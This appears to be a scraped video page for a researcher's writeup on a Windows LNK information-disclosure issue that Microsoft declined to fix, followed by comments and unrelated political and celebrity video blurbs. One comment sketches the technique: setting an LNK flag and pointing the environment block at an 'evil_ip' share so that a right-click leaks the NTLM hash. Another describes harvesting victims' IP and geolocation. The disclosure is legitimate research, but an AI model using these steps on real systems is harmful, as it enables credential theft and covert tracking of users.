Loading video...

Video Failed to Load

There was a problem loading this video. This could be due to a temporary network issue or the video might be unavailable.

A quick writeup on potential security issue of Windows LNK that I reported to MSRC last month. They decided to not fix due to relying on MOTW. In the blog I included the proof of concept. All you have to do is to Right-Click and get Info Disclosure :)

nafiez

2,209 subscribers

25,257 views • 1 year ago •via X (Twitter)

Science & Technology News & Politics Education

Anya Rossi• Live Now

Private livecam show

11 Comments

sixtyvividtails1 year ago

Nice seeing actual dig into details of .LNK structure! tag/TLDR: lnk.header.flags |= HAS_EXP_STRING; 🤭 lnk.envarBlock := "\\evil_ip\gibe_hash" then right-click to sendout the ntlm hash

nafiez1 year ago

Thanks 🫡

WAGMI | Crypto, DeFi & Web3 News2 years ago

"My friends think I'm a crypto genius, (I'm not) it's because I read WAGMI’s weekly newsletter (and they have no idea it exists)" - Every Crypto Degen

I am Jakoby1 year ago

I did something similar but I passed an http oob url and used it to collect their ip address, geolocation, and finger print info This is significantly more severe and I am honestly shocked they decided not to fix it

nafiez1 year ago

That sounds awesome! Have you write or publish anything about the stuff you work on? Yeah too bad they didn’t treat this as security issue since MOTW did the protection, according to them :-)

ClearSky Cyber Security1 year ago

Open since June 24

nafiez1 year ago

The description looks similar however in your advisory seems to tie with CVE-2024-43451. How come this still not fix for the Right-Click? Any thoughts?

jcatblackhat1 year ago

TAG: PoC

Jean1 year ago

What's the app you use for function tracing?

nafiez1 year ago

I’m using Rohitab API Monitor

Bruno1 year ago

@BriPwn

Related Videos

I invest in a lot of entrepreneurs that I don't like but I respect. I respect them and the only thing I care about is executional skills. The ability to say, "All right this is what I'm going to achieve this month" and then execute on it. When they hit their bumps which they all do, because whatever their plan was is not going to work, they have the ability to pivot. That what I look for.

I invest in a lot of entrepreneurs that I don't like but I respect. I respect them and the only thing I care about is executional skills. The ability to say, "All right this is what I'm going to achieve this month" and then execute on it. When they hit their bumps which they all do, because whatever their plan was is not going to work, they have the ability to pivot. That what I look for.

Kevin O'Leary aka Mr. Wonderful

31,216 views • 1 year ago

People continue to blame me, saying, 'You are the Aare Onakakanfo of Yoruba Land and you refused to do something on the issue of insecurity affecting us', Gani Adams says. He also noted: "I have written to South West governors that there is a need for collaboration on the issue of security; all hands must be on deck to address this ugly situation, but for the past two years, they did not reply me. [Gani Adams, Aare Onakakanfo of Yoruba Land] #SunriseDaily

People continue to blame me, saying, 'You are the Aare Onakakanfo of Yoruba Land and you refused to do something on the issue of insecurity affecting us', Gani Adams says. He also noted: "I have written to South West governors that there is a need for collaboration on the issue of security; all hands must be on deck to address this ugly situation, but for the past two years, they did not reply me. [Gani Adams, Aare Onakakanfo of Yoruba Land] #SunriseDaily

Channels Television

137,947 views • 2 months ago

Last but not least bug of the year, 2025. Found a remote printer bug that allows remote arbitrary write file. This was reported to MSRC however they told us is not replicated on their side.

Last but not least bug of the year, 2025. Found a remote printer bug that allows remote arbitrary write file. This was reported to MSRC however they told us is not replicated on their side.

nafiez

21,360 views • 7 months ago

"If they feel strongly enough that they have to break the law to get the message across, then I think that speaks to the larger issue that the government isn't listening to protestors and they have to resort to these types of means." My live reporting last night on Al Jazeera English

"If they feel strongly enough that they have to break the law to get the message across, then I think that speaks to the larger issue that the government isn't listening to protestors and they have to resort to these types of means." My live reporting last night on Al Jazeera English

bencamach0.bsky.social

37,488 views • 2 years ago

"One of ours .... all of yours" - that is the homeland security motto?! Do they want to fix or to fight

"One of ours .... all of yours" - that is the homeland security motto?! Do they want to fix or to fight

Christopher C. Cuomo

29,701 views • 6 months ago

Drake and Future have reportedly squashed their beef 🙏 “All I can really say is, they got on the phone and whatever seems to be the issues, they seem to come to a place of resolving that. Metro not included.” (via Elliott Wilson)

Drake and Future have reportedly squashed their beef 🙏 “All I can really say is, they got on the phone and whatever seems to be the issues, they seem to come to a place of resolving that. Metro not included.” (via Elliott Wilson)

Complex Music

132,165 views • 1 year ago

This is an open message to Ross Coulthart to contact me and please talk through why you believe that I should not reveal the location of a giant UFO which is in a building within a building underneath a very high security military facility You leaked this over two years ago but withheld the destination and there is definitely a chance I am wrong but the strength of the evidence I now have is enough that I am going to go public with my findings in three hours time I clearly do not want to threaten National USUKAus Security and it is your potential mess to clean up... I would like to talk it through with you, but more importantly I think it is in the interests of the public to know about the deception that holds back full Disclosure

This is an open message to Ross Coulthart to contact me and please talk through why you believe that I should not reveal the location of a giant UFO which is in a building within a building underneath a very high security military facility You leaked this over two years ago but withheld the destination and there is definitely a chance I am wrong but the strength of the evidence I now have is enough that I am going to go public with my findings in three hours time I clearly do not want to threaten National USUKAus Security and it is your potential mess to clean up... I would like to talk it through with you, but more importantly I think it is in the interests of the public to know about the deception that holds back full Disclosure

Moneypenny

3,625,046 views • 1 year ago

This is the state of society today. A man thinks he has the right to access female-only spaces because his feelings were hurt by people not believing he is a woman. Is that not the object of the game? It is not a woman's burden that you have chosen to medicalise yourself, and it is not up to them to act as your human shield. Just stop. I had to edit out the ending of this video because a minor was on camera, and I do not allow that. I said: "I appreciate that, but women shouldn't have to feel uncomfortable for you to feel comfortable. If they continue to challenge you, advise them that you are male or speak to a member of staff." To see the full protest video, I have posted it on my Substack below. If you are interested in supporting me attending these protest please go to the link in the bio or subscribe to the substack.

This is the state of society today. A man thinks he has the right to access female-only spaces because his feelings were hurt by people not believing he is a woman. Is that not the object of the game? It is not a woman's burden that you have chosen to medicalise yourself, and it is not up to them to act as your human shield. Just stop. I had to edit out the ending of this video because a minor was on camera, and I do not allow that. I said: "I appreciate that, but women shouldn't have to feel uncomfortable for you to feel comfortable. If they continue to challenge you, advise them that you are male or speak to a member of staff." To see the full protest video, I have posted it on my Substack below. If you are interested in supporting me attending these protest please go to the link in the bio or subscribe to the substack.

MichaelDPUK 💜🦎

12,815 views • 28 days ago

BANNON: The illegal alien invasion of our country is our biggest national security issue ever! They do not want to assimilate. They do not believe in our values. THEY ALL HAVE TO GO. The Left will die on this hill because they know they need illegals to win elections.

BANNON: The illegal alien invasion of our country is our biggest national security issue ever! They do not want to assimilate. They do not believe in our values. THEY ALL HAVE TO GO. The Left will die on this hill because they know they need illegals to win elections.

Bannon’s WarRoom

26,779 views • 7 months ago

Q: On the teleprompter issue, NOTUS reported that Kalshi is inaccessible on the wifi journalists at the White House have access to. Do staffers have access to Kalshi and Polymarket on their wifi? LEAVITT: I'm happy to go try and get you an answer on that

Q: On the teleprompter issue, NOTUS reported that Kalshi is inaccessible on the wifi journalists at the White House have access to. Do staffers have access to Kalshi and Polymarket on their wifi? LEAVITT: I'm happy to go try and get you an answer on that

Aaron Rupar

198,668 views • 24 days ago

DRAKE & FUTURE HAVE REPORTEDLY SQUASHED THEIR BEEF 🚨 “All I can really say is, they got on the phone and whatever seems to be the issues, they seem to come to a place of resolving that. Metro not included” (Via Elliot Wilson)

DRAKE & FUTURE HAVE REPORTEDLY SQUASHED THEIR BEEF 🚨 “All I can really say is, they got on the phone and whatever seems to be the issues, they seem to come to a place of resolving that. Metro not included” (Via Elliot Wilson)

NFR Podcast

4,461,097 views • 1 year ago

Michael Jordan breaks down the absolute true mindset of a champion. "First of all you got to believe in yourself. You got to have a passion. You got to put forth the work." "Discipline means you have to really decide on that you want to be a winner. And when someone tries to take you to go do things that's not focused on being a winner you have to be disciplined to say you know what, I got to stay to what I have to do." "For people who skip those steps and think they just show up on Sunday, I don't want nothing to do with them."

Michael Jordan breaks down the absolute true mindset of a champion. "First of all you got to believe in yourself. You got to have a passion. You got to put forth the work." "Discipline means you have to really decide on that you want to be a winner. And when someone tries to take you to go do things that's not focused on being a winner you have to be disciplined to say you know what, I got to stay to what I have to do." "For people who skip those steps and think they just show up on Sunday, I don't want nothing to do with them."

ABDCHAIN

307,525 views • 1 month ago

"I put a lot of it on me on the wins and losses and I need to do a better job. I'm not going to sit here and blame it on the roster, the coaching staff. I'm going to blame it on the guy that's sitting right in front of you. I need to do a better job"

"I put a lot of it on me on the wins and losses and I need to do a better job. I'm not going to sit here and blame it on the roster, the coaching staff. I'm going to blame it on the guy that's sitting right in front of you. I need to do a better job"

New York Jets

118,475 views • 7 months ago

.Chad Pergram: "Nothing's going to get done on health care now, right, this year?" .Leader John Thune "It’s a complicated issue, no doubt about it. A lot of moving parts and we have different visions of what health care ought to look like…You’re right, we’re not going to pass anything by the end of this week, but I do think there is a potential pathway in January if Democrats are willing to come to the table to do things that will actually drive down the cost of health care."

.Chad Pergram: "Nothing's going to get done on health care now, right, this year?" .Leader John Thune "It’s a complicated issue, no doubt about it. A lot of moving parts and we have different visions of what health care ought to look like…You’re right, we’re not going to pass anything by the end of this week, but I do think there is a potential pathway in January if Democrats are willing to come to the table to do things that will actually drive down the cost of health care."

CSPAN

100,168 views • 7 months ago

.Secretary Sean Duffy to Jack Posobiec on the future of air traffic control: "I can't fix the weather for you, or I can't fix that you might have a mechanical issue with the airplane. But I can fix the congestion that happens in the airspace."

.Secretary Sean Duffy to Jack Posobiec on the future of air traffic control: "I can't fix the weather for you, or I can't fix that you might have a mechanical issue with the airplane. But I can fix the congestion that happens in the airspace."

Human Events

39,779 views • 3 months ago

It’s not just that the oligarchs don’t want to pay their fair share of taxes. Many of them literally do not believe in the concept of government. They are rich and powerful and have the “divine right” to do anything they want.

It’s not just that the oligarchs don’t want to pay their fair share of taxes. Many of them literally do not believe in the concept of government. They are rich and powerful and have the “divine right” to do anything they want.

Sen. Bernie Sanders

179,195 views • 1 year ago

MacFarlane: The issue here is that they don't have the requisite support to do this, even in a vacuum, because they understand this is a generational decision to get rid of the filibuster, and they're not keen on doing that, not knowing what's going to happen over the next generation long after Trump is gone

MacFarlane: The issue here is that they don't have the requisite support to do this, even in a vacuum, because they understand this is a generational decision to get rid of the filibuster, and they're not keen on doing that, not knowing what's going to happen over the next generation long after Trump is gone

Acyn

26,767 views • 1 month ago

Edwin Sifuna: The reason I will not resign yet is because I have not given up yet, I have not given up on members of the ODM. There is still belief and trust within the ranks of the party that Baba knows what is right for the people and that he will do the right thing. On the day that I give up, I will tell you, I will say it publicly that I have lost the battle to rescue this party and to bring it back to where it was #CitizenExplainer Yvonne Okwara

Edwin Sifuna: The reason I will not resign yet is because I have not given up yet, I have not given up on members of the ODM. There is still belief and trust within the ranks of the party that Baba knows what is right for the people and that he will do the right thing. On the day that I give up, I will tell you, I will say it publicly that I have lost the battle to rescue this party and to bring it back to where it was #CitizenExplainer Yvonne Okwara

Citizen TV Kenya

45,984 views • 1 year ago